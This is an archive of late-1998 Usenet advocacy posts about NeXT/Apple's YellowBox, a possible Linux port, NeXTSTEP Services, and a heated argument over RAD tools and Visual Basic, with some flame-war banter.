Good grief, that's a totally fascistic decree; what are you, some kind of
net.nazi...?
Oh, dang! :-)
Yes, I'm all in favour.
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sun, 6 Dec 1998 22:58:25 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <199812062258261052512@ts6-23.aug.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <199812052237331041835@ts5-41.aug.com> <FIiROLCWddLd-pn2-LuDhKRV0qMtT@localhost>
taiQ <pit@iohk.SPAM-NOT.com> wrote:
> Because of compatibility (w/ mainstream Linux distros)? Mindshare?
> Potential marketshare? Potential access to the PC OEM preload market
> with YB for Linux?
>
> I'm just trying to see opportunities instead of threats. :-)
Where's the money for Apple come from?
--
Remove nojunk from my email address to reply by email.
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-sE5FdrmhIJ00@localhost>
Newsgroups: comp.os.linux.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Switch nextstep -> linux ?
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <SCOTT.98Nov30210140@slave.doubleu.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 7 Dec 98 13:26:56 GMT
On Mon, 30 Nov 1998 21:01:40, scott@nospam.doubleu.com (Scott Hess)
thought aloud:
> In article <3651F9C8.F5ADA57E@cygnus.com>,
> John Rudd <jrudd@cygnus.com> writes:
> I don't really miss user level "services" that much. Yeah, they
> were nice, but who actually did anything REALLY cool and useful
> that you can think of off the top of your head?
>
> Uh.... I have TickleServices which I use, oh, 40-100 times per day.
> Things like "Reformat this text to 80-columns, while correctly
> handling the indicators that it's from a previous post (aka > and
> kin)." Which service I just happen to use to reformat // comments,
> too...
>
> I can't really say that a couple extra gestures (highlight and menu
> (in nextstep) vs highlight, click on netscape, menu to open page,
> middle click to paste, and click on "ok") is an unbearable burden.
>
> Well, I'll agree with you, to a point. There are a number of
> operations that I've never bothered automating because I so seldom
> perform them that it's actually easier to do it manually than to find
> the automated version on my Services menu.
>
> There are others that are annoying to find, but still easier than
> doing manually. For instance, I've got a service which addresses 6"
> or 9" envelopes with the selected address and my return address. Or
> the service that takes a UPS tracking number and brings up OmniWeb
> viewing the appropriate www.ups.com page. Or the service that looks
> at the current file I'm editting and opens the header/implementation
> file as needed (ie, if you're looking at a .h, it opens the .m, if
> you're looking at a .c, it opens the .h, etc).
>
> Even with Webster's, the difference between "Command-=3D" and "Copy,
> find and launch Webster's, Paste, enter" is like the difference
> between one second and ten seconds. If not for Command-=3D, I'd
> probably _never_ use Webster's, I'd just assume I was right, with
> Command-=3D, I use it perhaps 10 times per week (and I'm still _usually_
> right :-).
>
> Services are, unfortunately, one of those wildly useful features that
> nobody knows they miss...
[I know this is late... damn sputtering newsfeed...]
Huh, nice examples. Services are clearly yet another under-utilized
and under-marketed ace in the YellowBox arsenal. If only Apple gave
YellowBox a fighting chance, there could be a huge industry around
building Services - for free and for small internet-based financial
transactions. This stuff would appeal to everyone if only they knew
about it, and it was available for their platform. Availability for
G3-only Macs and to the passive MS-feeding Windows crowd doesn't quite
cut it, I'm afraid.
Brgds,
--
taiQ
[this space is intentionally blank]
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Date: 7 Dec 1998 04:03:53 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <74fk39$omi$1@cronkite.cs.umd.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <749vtr$7b3@news1.panix.com> <FIiROLCWddLd-pn2-GVdDqqLGe7qi@localhost> <74fbec$ouk@news1.panix.com>
NNTP-Posting-Date: 7 Dec 1998 04:03:53 GMT
Sal Denaro (sal@panix.com) wrote:
> Apple (and NeXT before that) has released parts of YB as opensource, when
> they were no longer going to be supported. I think they did this with
> a recent framework (NSPPL?), and they did it before with 3dkit and soundkit
> (IIRC)
^^^^^^
You recall somewhat incorrectly. Here's the rundown on various dead
frameworks:
Kit Status
PhoneKit Dead and buried.
DBKit Dead and buried. Replaced with EOF.
3DKit Don Yacktman and Darcy Brockbank petitioned NeXT
and got them to make the binary libraries
available. But source is *not* available for
general public. A few chosen MiscKit workers are
permitted to tinker with it, under specific
agreements. Not open source.
IndexingKit Same as 3DKit. Digital Librarian not available.
MusicKit Yanked, CCRMA reasserted control over code,
now releases it themselves at Stanford.
SoundKit Soon to die in MacOSX Server.
Sean Luke
seanl@cs.umd.edu
From: Mark Woodward <markw@mohawksoft.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 07 Dec 1998 10:24:38 -0500
Organization: Mohawk Software
Message-ID: <366BF336.B17A3872@mohawksoft.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <74ddfd$slo$1@nnrp1.dejanews.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Again, this sort of attitude is prevelent in this news group. You aregue
one thing and people respond with an argument about something else. If
someone says, "This is the tallest building." You just know someone is
going to come back with "No it isn't, this one is the widest." The
response has very little to do with the initial statement.
quinlan@intergate.bc.ca wrote:
>
> In article <366B248A.5F03219A@mohawksoft.com>,
> Mark Woodward <markw@mohawksoft.com> wrote:
>
> > Super computer programs are far different than "microcomputer" programs.
> > I am mostly referring to VB and ActiveX, the Windows only club of
> > development standards.
>
> Then you should have said so. You attacked RAD as a whole.
Yes, I did attack RAD as a whole, and I mean it. RAD is a very good idea
for small "trivial" applications. The whole process breaks down on
non-trivial applications. I've seen it happen over and over. Trivial, of
course is a moving scale, but, a convenient definition is more than one
person day.
>
> > You are right, about one to one RAD to VB. They are not the same, but,
> > they stem from an assumption that software development can be made easy.
> > Yes, small development can be easy. Report builders and data entry
> > systems are the perfect applications for things like VB, Tcl. etc.
> >
> > By "real" tool, I mean a human readable relationship between written
> > code and compiled code.
>
> This notion seems to vague to be useful. Please expand your definition.
>
I "real" development tool provides human readable relationship between
written code and compiled code. Interpreters do not count because the
engine may change below you. I have written software for Banks. They
audit everything. As a result, one must audit critical mathmatic formula
within high precision portions of the code when changing to a new
compiler. Installing a new application with a slightly newer (minor
version change, not major version change) runtime could very well change
the numeric calculations produced in a financial simulation and cause a
debit or credit on the same data.
Again, if you can't double check you tools, they are not "real" tools.
They are trivial inteface builders, you can't base an important
application on them.
> Will any compiled language do? Why or why not?
I guess any compiled language will do, as long as ALL the source to the
run time libraries are available, and the intermediate code (c, asm,
etc) can be compiled/assembled to produce the same object module.
> And intelligence requires more than making broad generalizations.
Well, there you go. You have to insult me directly. Is this because you
need too? I don't get it, are you feeling a little insecure there fella?
Just because I say software development is not easy and attempts to make
it so fall apart once the projects hit critical mass, you feel
threatend. You must be a proponent of RAD and silly ideas like it. How
many years of experience do you have, 2? 3? or are you in management?
>
> --
> Brian Quinlan
> quinlan@intergate.bc.ca
>
> -----------== Posted via Deja News, The Discussion Network ==----------
> http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
--
Mohawk Software
Windows 95, Windows NT, UNIX, Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com
From: treed@freeside.ultraviolet.org (Tracy R Reed)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76ka3m.fbg.treed@freeside.ultraviolet.org> <74dcc9$295$1@renpen.nelson.org> <366A3AE3.1B440E86@nstar.net>
Organization: Ultraviolet
Message-ID: <slrn76m2m7.jdb.treed@freeside.ultraviolet.org>
Date: Sun, 06 Dec 1998 22:52:55 GMT
NNTP-Posting-Date: Sun, 06 Dec 1998 14:52:55 PDT
Michael J. Peck <mjpeck@nstar.net> wrote:
>True enough. Sadly, that sword cuts both ways. Watching Open Source
>advocates reinvent the GUI, poorly, is every bit as painful to see as
>watching Microsoft reinvent the operating system.
>
>Nobody, in this industry, has a monopoly on stupidity.
If MS would open their source code, we wouldn't have to reinvent it. But as I
see it, there is little choice. However, I don't think the Unix GUI's are veing
reinvented poorly at all.
--
Tracy Reed http://www.ultraviolet.org
Linux: Opening doors and shattering Windows.
From: azid@technologist.com (head)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Lawson's Law
Date: Sun, 06 Dec 1998 20:30:30 +0100
Organization: azid
Message-ID: <azid-0612982030310001@ti34a21-0060.dialup.online.no>
References: <74eklj$m73$1@cronkite.cs.umd.edu>
NNTP-Posting-Date: 6 Dec 1998 19:30:23 GMT
Mail-Copies-To: never
In article <74eklj$m73$1@cronkite.cs.umd.edu>, seanl@cs.umd.edu (Sean
Luke) wrote:
>()
it couldnt be a thread, both hitler and gx in one post
--
animam animam Dixi et salvani animam animam
animam meam<azid@technologist.com>animam meam
animam animam Dixi et salvani animam animam
From: steve mcadams <gorilla@earthling.net>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 07 Dec 1998 08:38:06 -0700
Organization: n/a
Message-ID: <366BF65E.6437@earthling.net>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <74ddfd$slo$1@nnrp1.dejanews.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com>
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Mark Woodward wrote:
>
> Yes, I did attack RAD as a whole, and I mean it. RAD is a very good idea
> for small "trivial" applications. The whole process breaks down on
> non-trivial applications. I've seen it happen over and over. Trivial, of
> course is a moving scale, but, a convenient definition is more than one
> person day.
I would differ here; I think RAD is a good thing especially for large
projects. However I have not yet seen a RAD *tool* that didn't start to
break down just above the trivial level. It seems to me you are either
confusing RAD and "existing RAD tools" or perhaps using the terms
interchangably. Or perhaps you are just saying that there are no
existing RAD tools at this point, only RAD toys.
> Again, if you can't double check you tools, they are not "real" tools.
> They are trivial inteface builders, you can't base an important
> application on them.
Absolutely; scientific method is the only thing that differentiates
"computer science" from "flailing around" <g> -steve
Message-ID: <366ADD69.14C740AC@nstar.net>
Date: Sun, 06 Dec 1998 13:39:22 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74e89r$f8r@news1.panix.com>
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Sal Denaro wrote:
> Would that same person have also resolved all the licensing issues around
> DPS?
I have no idea. Why do you ask?
MJP
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 7 Dec 1998 08:03:26 -0800
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <slrn76nv2e.77d.jedi@dementia.mishnet>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76ka3m.fbg.treed@freeside.ultraviolet.org> <74dcc9$295$1@renpen.nelson.org> <366A3AE3.1B440E86@nstar.net> <slrn76m2m7.jdb.treed@freeside.ultraviolet.org> <366B0E2C.DDEF264F@nstar.net>
On Sun, 06 Dec 1998 17:07:24 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>Tracy R Reed wrote:
>
>> >Nobody, in this industry, has a monopoly on stupidity.
>>
>> If MS would open their source code, we wouldn't have to reinvent it. But as I
>> see it, there is little choice.
>
>Good grief. Many pats on the back for your devotion. What does
>Microsoft's source code have to do with anything? For that matter, what
>does Apple's source code have to do with it? I'm talking about those who
>won't use or support KDE because it "looks like Windows".
>
>> However, I don't think the Unix GUI's are veing
>> reinvented poorly at all.
>
>Those that *aren't* being reinvented are being done well. Qt and KDE are
>a good example of this. They're built by people who understand the value
>of orthodoxy and mimicry as well as that of new innovation. I'll leave
>the alternatives as an exercise for the reader.
No they're not. They're mimicking just enough to annoy
people when things start to deviate from what they're
mimicking...
They should give the user a bit more of a clue that they're
not in Kanasas anymore.
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
Message-ID: <366C03EA.D3F215FA@nstar.net>
Date: Mon, 07 Dec 1998 10:35:54 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74e89r$f8r@news1.panix.com> <366ADD69.14C740AC@nstar.net> <74fbe9$ouk@news1.panix.com>
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Sal Denaro wrote:
> To demonstrate that there are non-technical issues, unrelated to the direct
> costs of developer/testing/documenting that might also prevent Apple from
> doing this.
Well, naturally, seeing as how the argument on technical grounds has
been (thus far) unmeritorious.
Were you going to explain how a Linux port would hold up DPS licensing,
or what?
MJP
Message-ID: <366C052A.B0F221D8@nstar.net>
Date: Mon, 07 Dec 1998 10:41:14 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76ka3m.fbg.treed@freeside.ultraviolet.org> <74dcc9$295$1@renpen.nelson.org> <366A3AE3.1B440E86@nstar.net> <slrn76m2m7.jdb.treed@freeside.ultraviolet.org> <366B0E2C.DDEF264F@nstar.net> <slrn76m8ja.h4.davecook@sputnik.escnd1.sdca.home.com>
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David M. Cook wrote:
>
> On Sun, 06 Dec 1998 17:07:24 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>
> >Those that *aren't* being reinvented are being done well. Qt and KDE are
> >a good example of this. They're built by people who understand the value
> >of orthodoxy and mimicry as well as that of new innovation. I'll leave
> >the alternatives as an exercise for the reader.
>
> I other words you have nothing of substance to say.
Ah, the Pee-Wee Herman defense.
[hands over ears, shouting] I can't hear you! I can't hear you!
Very good, carry on.
MJP
Message-ID: <366C05E1.99F61C22@nstar.net>
Date: Mon, 07 Dec 1998 10:44:17 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76ka3m.fbg.treed@freeside.ultraviolet.org> <74dcc9$295$1@renpen.nelson.org> <366A3AE3.1B440E86@nstar.net> <slrn76m2m7.jdb.treed@freeside.ultraviolet.org> <366B0E2C.DDEF264F@nstar.net> <slrn76nv2e.77d.jedi@dementia.mishnet>
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jedi@dementia.mishnet wrote:
> No they're not. They're mimicking just enough to annoy
> people when things start to deviate from what they're
> mimicking...
That's one way of looking at it...
> They should give the user a bit more of a clue that they're
> not in Kanasas anymore.
Good idea. What do you suggest? Personally, I'd like to see more
penguins. You can never have enough penguins. I want to see penguins on
everything; there'd be no mistaking it for Windows, that's for sure.
MJP
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 07 Dec 1998 16:35:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74h049$p8f$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74emdk$qof$1@samsara0.mindspring.com> <74en8c$t61$1@nnrp1.dejanews.com> <74eqt0$vv6$1@nnrp1.dejanews.com> <74esk3$udi$2@samsara0.mindspring.com>
In article <74esk3$udi$2@samsara0.mindspring.com>,
Matthew Cromer <matthew_cromer@iname.com> wrote:
> In article <74eqt0$vv6$1@nnrp1.dejanews.com> Charles Swiger,
> chuck@codefab.com writes:
>> Heh-- beat me to it. On the other hand, the notion of writing a large or
>> non-GUI application in VB is downright horrifying. :-)
>
> VB6 has facilities for making large-scale software projects. An object
> model, encapsulation, classes.
Yeah, and it also has a development community that, for the most part, has
never worked on a large project, and have no idea why writing 10,000 lines of
code is more difficult than writing ten 1000 LOC projects.
In case you don't get this point, can you name, specificly, a medium to large
project written in VB that was delivered on-time, on-budget, and successfully
fulfilled the original requirements?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 07 Dec 1998 16:51:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74h12t$q78$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net>
In article <366B0506.5F628758@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Charles Swiger wrote:
>> Let's assume, just for the moment, that it would just take two man-years of
>> effort from engineering to have a Linux port of YB. Let's note that we
>> haven't considered management's time trying to get a handle on the business
>> case for this port, sales to plan a campaign to create and sell to this
>> hypothetical market, QA people to test it, do a beta program, and so forth.
>
> This is all so much remarkably weak rationalization. Business case? What
> for? To satisfy paperwork requirements?
To satisfy Apple's investors, who have every right to demand that Apple spend
it's resources (ie, their money) wisely. Privately held companies have more
freedom to do something just for the heck of it.
> Have the engineer write it himself, or hire an MBA intern to do the job.
The guy's manager has to justify why this engineer is going to be spending the
next two years working on a YB Linux port, rather than on something else.
> Sales to plan a campaign? Spare me. Where was Macromedia's sales
> campaign when it released the Flash plugin for Linux? Progressive
> Networks' when it released RealAudio Player for Linux? You don't need a
> sales campaign to sell Linux software, you post to Freshmeat.net and
> hold a press conference for the NEWS.COM pundits.
And place banner ads with C|Net for the "NEWS.COM pundits" (as well as on
other portal sites), and create those ads, and the marketing slogan, and the
press releases, and a web site for the product.
And, as someone else pointed out, clever sales people might just try to
encourage sales of their other products (the server side) while promoting the
freely available client stuff.
[ ... ]
> QA people to test it? How about the engineer who wrote it? It's
> *unsupported* software, use at your own risk. If the market grows to
> sufficient size, *then* you devote official support resources to it.
If it isn't a supported product, then there are a lot of businesses who won't
touch it with the proverbial ten foot pole. Don't even bother claiming
otherwise-- there's already too much stupidity Apple has to deal with.
For example, WebObjects was given license keys for no other reason than the
fact that some clients refused to purchase software without a licensing
mechanism. For a long, long time, the licensing mechanism pretty much worked
by "if the first three letters are XXX, it's a developer license-- if they're
YYY it's a deployment license". WOF now has more info bound, such as an
expiration date, a validity check (presumably a checksum of some kind), and
more sophisticated capability descriptions.
[ ... ]
>> Of the people in the second category, how many are not going to get
>> MOXS/Intel because they insist upon running Linux?
>
> Huh? This is a port of YB to Linux. What will they run if not Linux?
Read the question again.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 06 Dec 1998 20:53:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74eqt0$vv6$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <3669FD63.5BD808D6@nstar.net> <366a1426.0@news.depaul.edu>
In article <366a1426.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Michael J. Peck <mjpeck@nstar.net> wrote:
>> Mark Woodward wrote:
>>> As a Windows/Windows NT/Linux/UNIX developer, I can only say grow up.
>>> ActiveX is brain dead, VB is for idiots and accountants.
>>
>> And people who develop lightweight GUI applications.
>
> With VB? Make that 'obese lightweight GUI applications'
Heh-- beat me to it. On the other hand, the notion of writing a large or non-
GUI application in VB is downright horrifying. :-)
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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Message-ID: <366C1257.470882A1@klassy.com>
Date: Mon, 07 Dec 1998 09:37:27 -0800
From: Josiah Fizer <mib@klassy.com>
Organization: Klassy Soft
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <73ctj7$ik0$1@nnrp1.dejanews.com> <rbarris-ya023280002311981637350001@206.82.216.1> <365B10DD.43341843@spamtoNull.com> <19981124181652165544@ts1-13.aug.com> <365B5B6B.CF42B4BB@gamewood.net>
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I'm sorry but you know what your talking about, I'll have to ask you to leave the
newsgroup.
"William C. Hicklin" wrote:
> Rick wrote:
>
> > Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >
> > > Well, no one has demonstrated that Microsoft selling Windows was
> > > illegal, either. Microsoft is being accused of "using its monopoly power
> > > in one market to stifle competition." *That's* the supposed illegality.
> > > I think it fits Apple's handling of the Mac clone companies like a
> > > glove.
> >
> > If it was such an illegal act, why has someone, anyone, charged Apple
> > with something, or sued them over it?
> > --
>
> Why? Because Apple has patents on its motherboard designs and copyrights on
> its ROMs. These *are* monopolies- legal monopolies created by Federal
> statute pursuant to an express provision of the Constitution.
>
> Not all monopolies violate the Sherman and Clayton acts. Microsoft's
> near-complete monopoly of PC OS's could have been achieved (and largely was)
> by the clever business tactic of licensing DOS to IBM, the dominant market
> force at the time. Nothing wrong with that. (There *was* something wrong with
> DOS being a bootleg of CP/M, but that's beside the point).
>
> Just having a monopoly is not against the law. Misusing that monopoly power
> to bulldoze competition is against the law. Theoretically, Apple had no
> competition to bulldoze, since its monopoly consisted in its patents and
> copyrights, as extended to Apple's licensees (the clone makers). They were
> part of the monopoly, not outside it.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sun, 06 Dec 1998 21:10:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74erro$lm$1@nnrp1.dejanews.com>
References: <749sn9$4m6$1@nnrp1.dejanews.com> <B28EF5FE-25285@206.165.43.151> <74e6nc$fub$1@nnrp1.dejanews.com> <heaney-0612981217220001@24.0.246.137>
In article <heaney-0612981217220001@24.0.246.137>,
heaney@SolidObject.com (John Heaney) wrote:
> In article <74e6nc$fub$1@nnrp1.dejanews.com>, malcolm@plsys.co.uk wrote:
[ ... ]
> If you feel these threads "pollute" this newsgroup then you should stop
> contibuting to them. This thread is not a monologue by Lawson. All it
> takes is for you (all) to let him have the last word and the thread will
> end. It is quite clear that arguing with him will not cause him to stop,
> if that is your goal.
We already tried that. It didn't work.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: New date for OS X Server?
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<739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com>
<F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com>
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<1djjmg3.9nvrlx1jr28eaN@port212.bonn.ndh.net> <74c6in$qa4@news1.panix.com>
Mime-Version: 1.0
Date: Mon, 7 Dec 1998 16:47:54 GMT
In <74c6in$qa4@news1.panix.com> Sal Denaro wrote:
> This is like answering the question "how far away is Boston?" by
> answering "not
> as close as the corner drug store, but not as far away as planet Jupiter"
Not a good one at all. The difference in prices of MacOS and OpenStep
4.2 is one order of magnitude. The difference in distances between the two
you note is (say) 1 mile vs. 5.2AU or 5 million miles, a difference of nine
orders of magnitude (but the mantissa is correct!). A better comparison
would be "the next city center" and "the capitol of the next state".
:-)
Maury
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 7 Dec 1998 13:28:47 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <74h6ov$pe2$1@crib.corepower.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com>
NNTP-Posting-Date: 7 Dec 1998 18:29:20 GMT
In article <366BF336.B17A3872@mohawksoft.com>, Mark Woodward <markw@mohawksoft.com> wrote:
> Yes, I did attack RAD as a whole, and I mean it. RAD is a very good idea
> for small "trivial" applications. The whole process breaks down on
> non-trivial applications. I've seen it happen over and over.
Yeah, because you were watching incompetent programmers. RAD has been
put to good use in a number of nontrivial MCCAs by _competent programmers_
using enterprise-level tools (e.g., OpenStep). Lots of people think RAD
means that they can get away with not designing their apps, and use it
inappropriately. RAD is not a replacement for careful design.
However, RAD can greatly facilitate certain kinds of
(nontrivial!) development by allowing for rapid prototyping of alternate
ideas, decreases turnaround time in the loop between customer and
developer during an iterated development cycle and allows for finer
tuning to user specification. It even allows for greater decoupling
between business specification and programming, if you're into that
kind of development model; one team can interact tightly with the users
and create the interface, while another team actually codes the core
business logic.
Problems arise when people try to use their prototypes as the finished
product, which is _not_ what RAD is for. RAD is a tool, and like any
tool it can be misused. That does not imply that it can't be put to
very good use when in good hands.
> Trivial, of
> course is a moving scale, but, a convenient definition is more than one
> person day.
<rolls eyes> If you think that RAD is counterproductive for projects
involving over one person-day of development time, then you must be
surrounded by incompetent programmers indeed.
> I "real" development tool provides human readable relationship between
> written code and compiled code. Interpreters do not count because the
> engine may change below you. I have written software for Banks.
Gee, I wonder why Smalltalk's largest market is to banks and other
services in the financial industry. I'm sure those big Smalltalk apps
must be dropping like flies from having their runtime libraries change
underneath them.
> Again, if you can't double check you tools, they are not "real" tools.
> They are trivial inteface builders, you can't base an important
> application on them.
Yeah, whatever. The fact of the matter is that huge mission-critical
applications _have_ been developed using RAD and interpreted languages,
and many of them work quite well.
Your definition of "real" tools is also quite presumptuous.
Most applications are not developed to anywhere near the rigorous
quality-control you cited, _regardless_ of whether or not they were
developed in a compiled or interpreted language. To most developers,
it is quite simply a non-issue.
The software my company develops is not nearly as "mission critical" as
a bank system. We _consciously_ make tradeoffs on quality -- rather than
rigorously validating all aspects of our app down to the assembly level,
we choose to spend more time developing new features. Our users would
rather live with a few bugs if it means that they can get their features
faster.
But in truth, having the runtime libraries change underneath us (like
all the .dll's we link against) has never been the source of any of our
errors at all. We did have two compiler bugs crop up when we switched
to a new version of the compiler, though, which were detected and worked
around _without_ examining the output of the compiler. When fixing bugs,
the number of times we've needed to drop down to the assembly level to
verify the output of the complier has been _zero_.
None of this means that we ignore quality control, just that the level of
quality you claim is impossible with interpreted langauges (a debatable
issue) isn't even relevant to us. I think our needs would have been
